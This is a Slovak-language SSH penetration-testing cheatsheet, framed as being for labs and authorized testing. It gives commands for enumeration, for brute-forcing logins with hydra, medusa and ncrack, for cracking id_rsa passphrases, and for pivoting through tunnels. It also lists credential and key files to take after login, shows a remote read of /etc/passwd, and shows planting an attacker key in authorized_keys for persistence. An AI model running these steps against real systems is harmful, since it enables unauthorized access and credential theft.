SSH (Port 22)

Obsah

  1. Enumeration
  2. Pripojenie
  3. Bruteforce
  4. Cracking zaheslovaného kľúča (id_rsa)
  5. SSH Tunneling
  6. Zaujímavé súbory po prihlásení
  7. Užitočné triky
  8. Časté zraniteľnosti
  9. Kontrola verzie voči CVE

SSH (Port 22) – Cheatsheet

Vyhlásenie: Obsah slúži výhradne na vzdelávacie účely, tréning v kontrolovaných laboch (CTF, HTB, THM, VulnHub) a autorizované bezpečnostné testovanie s písomným súhlasom vlastníka systému. Neautorizované skenovanie, útok alebo zneužitie cudzích systémov je trestné. Autor nezodpovedá za zneužitie uvedených postupov tretími stranami.


Enumeration

nmap -sV -sC -p 22              # verzia + default skripty
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root"   # zisti auth metódy
nmap -p 22 --script ssh-hostkey   # zobraz host key
ssh                               # zobraz banner a verziu
nc -nv  22                        # manuálny banner grab

Pripojenie

ssh user@
ssh user@ -p 2222                        # iný port
ssh -i id_rsa user@                      # pomocou privátneho kľúča
chmod 600 id_rsa                             # nutné pred použitím kľúča!
ssh -v user@                             # verbose – debug pripojenia
ssh -o StrictHostKeyChecking=no user@    # preskočiť overenie host key

Bruteforce

hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://
hydra -L users.txt -P passwords.txt ssh://
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh:// -t 4  # počet vlákien
medusa -h  -u user -P rockyou.txt -M ssh
ncrack -p 22 --user user -P rockyou.txt 

Cracking zaheslovaného kľúča (id_rsa)

# Konverzia pre John
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Alternatíva – hashcat
python3 /usr/share/john/ssh2john.py id_rsa > hash.txt
hashcat -a 0 -m 22921 hash.txt /usr/share/wordlists/rockyou.txt

SSH Tunneling

# Local port forwarding – sprístupni vzdialený port lokálne
ssh -L 8080:localhost:80 user@
# → localhost:8080 presmeruje na :80

# Dynamic SOCKS proxy
ssh -D 1080 user@
# → nastav proxychains na port 1080 (/etc/proxychains.conf)
# → proxychains nmap -sT 

# Remote port forwarding – sprístupni lokálny port na vzdialenom stroji
ssh -R 4444:localhost:4444 user@

# SSH cez jump host (bastion)
ssh -J jumpuser@ targetuser@

# Udržanie tunela nažive
ssh -N -f -L 8080:localhost:80 user@
# -N = nespúšťaj príkaz, -f = beh na pozadí

Zaujímavé súbory po prihlásení

~/.ssh/authorized_keys      # povolené verejné kľúče
~/.ssh/id_rsa               # privátny kľúč (skopíruj a cracki!)
~/.ssh/known_hosts          # navštívené hosty → možné ďalšie ciele
/etc/ssh/sshd_config        # konfigurácia SSH démona
/var/log/auth.log           # auth logy (Debian/Ubuntu)
/var/log/secure             # auth logy (RHEL/CentOS)

Užitočné triky

# Skopíruj súbor zo vzdialeného stroja
scp user@:/path/to/file .

# Skopíruj celý adresár
scp -r user@:/path/to/dir .

# Vykonaj príkaz bez interaktívnej session
ssh user@ "cat /etc/passwd"

# Generuj SSH kľúčový pár
ssh-keygen -t rsa -b 4096 -f ./mykey

# Pridaj vlastný verejný kľúč na cieľ (ak máš zápis)
echo "ssh-rsa AAAA... attacker@kali" >> ~/.ssh/authorized_keys

Časté zraniteľnosti

Zraniteľnosť Popis
Slabé/default credentials Najčastejší nález, hydra/medusa
Zaheslovaný kľúč Crackovateľný slovníkovým útokom (ssh2john)
Username enumeration Staršie verzie OpenSSH (< 7.7) – CVE-2018-15473
Staré verzie OpenSSH Rôzne CVE – vždy over verziu voči exploit-db
Authorized_keys writeable Ak môžeš zapisovať, pridaj vlastný kľúč
Agent forwarding zneužitie Ak je ForwardAgent yes, možný pivoting
# Username enumeration (CVE-2018-15473)
python3 ssh_user_enum.py --userList users.txt --hostname 
# https://github.com/Sait-Nuri/CVE-2018-15473

Kontrola verzie voči CVE

ssh -V                                          # lokálna verzia
nmap -sV -p 22                              # vzdialená verzia
searchsploit openssh                    # hľadaj exploity
TheOldOne · Miroslav Gensor ·